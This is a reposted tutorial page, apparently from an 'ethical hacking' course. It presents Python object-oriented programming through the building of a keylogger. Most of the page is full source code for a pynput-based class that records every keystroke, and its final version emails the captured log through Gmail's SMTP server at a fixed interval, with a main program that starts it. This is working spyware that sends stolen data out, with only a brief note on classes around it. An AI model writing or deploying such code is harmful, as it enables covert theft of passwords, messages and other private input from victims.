Object-Oriented Programming
Keylogger Classes
Way of modeling program(blueprint). Logically group functions and data. Makes code more readable. More reusable. Separate implementation from usage(encapsulation). Easier to extend. Easier to maintain.The Keylogger Class:
#!/usr/bin/env python import threading import pynput.keyboard log = "" class Keylogger: def process_key_press(self, key): global log try: log = log + str(key.char) except AttributeError: if key == key.space: log = log + " " else: log = log + " " + str(key) + " " def report(self): global log print(log) log = "" timer = threading.Timer(10, self.report) timer.start() def start(self): keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press) with keyboard_listener: self.report() keyboard_listener.join()
The main Python program calling the Keylogger Class:
#!/usr/bin/env python import keylogger my_keylogger = keylogger.Keylogger() my_keylogger.start()
Constructor Method & Instance Variables:
AKA initialization method. Gets executed automatically when a class is created.#!/usr/bin/env python import threading import pynput.keyboard class Keylogger: def __init__(self): self.log = "" def append_to_log(self, string): self.log = self.log + string def process_key_press(self, key): try: current_key = str(key.char) except AttributeError: if key == key.space: current_key = " " else: current_key = " " + str(key) + " " self.append_to_log(current_key) def report(self): print(self.log) self.log = "" timer = threading.Timer(10, self.report) timer.start() def start(self): keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press) with keyboard_listener: self.report() keyboard_listener.join()
Polish the Python Class Code once more to log Key-strikes and report them by email.
#!/usr/bin/env python import threading import smtplib import pynput.keyboard class Keylogger: def __init__(self, time_interval, email, password): self.log = "Keylogger started" self.interval = time_interval self.email = email self.password = password def append_to_log(self, string): self.log = self.log + string def process_key_press(self, key): try: current_key = str(key.char) except AttributeError: if key == key.space: current_key = " " else: current_key = " " + str(key) + " " self.append_to_log(current_key) def report(self): print(self.log) self.send_mail(self.email, self.password, "\n\n" + self.log) self.log = "" timer = threading.Timer(self.interval, self.report) timer.start() def send_mail(self, email, password, message): server = smtplib.SMTP("smtp.gmail.com", 587) server.starttls() server.login(email, password) server.sendmail(email, email, message) server.quit() def start(self): keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press) with keyboard_listener: self.report() keyboard_listener.join()
Main program:
#!/usr/bin/env python import keylogger my_keylogger = keylogger.Keylogger(120, "[email protected]", "12345678") my_keylogger.start()
查看更多关于Python Ethical Hacking - KEYLOGGER(3)的详细内容...
声明:本文来自网络,不代表【好得很程序员自学网】立场,转载请注明出处:http://www.haodehen.cn/did170793